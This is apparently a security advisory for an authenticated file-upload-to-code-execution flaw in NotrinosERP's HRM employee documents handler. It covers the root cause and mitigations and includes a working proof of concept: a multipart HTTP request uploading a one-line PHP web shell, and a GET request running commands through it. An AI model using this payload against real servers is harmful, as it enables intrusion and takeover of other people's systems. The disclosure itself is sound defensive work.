high · 8.8Jul 10, 2026

NotrinosERP: Authenticated Arbitrary File Upload to Remote Code Execution via HRM Employee Documents

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated HRM operator can upload a PHP web shell through the employee Documents tab, which stores the file with its original extension inside the web root, letting the attacker execute arbitr

Packagenotrinos/notrinos-erp
Ecosystemcomposer
Affected<= 1.0.0

The problem

The document upload handler in `hrm/manage/employees.php` (`tab_documents()`) writes the uploaded file to `company/0/documents/employees/` using the raw client-supplied filename, extension and all. There is no extension allowlist, no MIME check, no content inspection, and no size cap on this code path.

Because `company_path()` resolves inside the web root and the repo-level `.htaccess` does not block `.php` files in that subdirectory, a stored `.php` file is directly web-reachable and executes as PHP. The stored path is also echoed unescaped into a "View" link, handing the attacker the exact URL of their shell and creating a secondary stored-XSS sink (CWE-79).

A `../`-prefixed filename additionally enables path traversal (CWE-22) on PHP builds that do not `basename` `$_FILES['name']`.

Proof of concept

A working proof-of-concept for this issue in notrinos/notrinos-erp, with the exact payload below.

http
# Step 1: GET the Documents form for an employee to retrieve the CSRF token (_token).
# Step 2: POST the shell upload.

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <target>
Cookie: <authenticated-session-cookie>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<csrf_token_from_get_response>
--b
Content-Disposition: form-data; name="doc_type_id"

<valid_document_type_id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--

# Step 3: Execute commands via the "View" link shown in the Documents tab.
# GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1

The root cause is CWE-434: the handler calls `move_uploaded_file($_FILES['doc_file']['tmp_name'], $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'])` with zero validation. The client controls the final filename and extension entirely.

Contrast this with the profile-photo (`pic`) branch in the same file, which validates image type, extension, and size, and with `includes/ui/attachment.inc`, which deliberately uses `uniqid()` to generate an extension-less name with an inline comment warning that client filenames must never be trusted.

The document handler simply never adopted that safe pattern.

Because the destination directory sits under the web root and no server config denies PHP execution there, the stored file is immediately executable via a direct HTTP GET.

The fix

Update to the patched dev-main branch (post-advisory). Until a tagged release is available, apply all of the following mitigations: (1) replace client-supplied filenames with a server-generated `uniqid()` name and no executable extension, storing the original name only in the database; (2) enforce an extension allowlist and MIME check identical to the `pic` branch; (3) move the upload directory outside the web root, or add an `.htaccess` inside `company/*/documents/` containing `php_admin_flag engine off` and `RemoveHandler .php` to prevent script execution; (4) wrap the stored path in `htmlspecialchars()` before emitting the View link to close the secondary XSS.

Reported by Kasper Hong (Kasper Builds).

References: [1][2]

Related research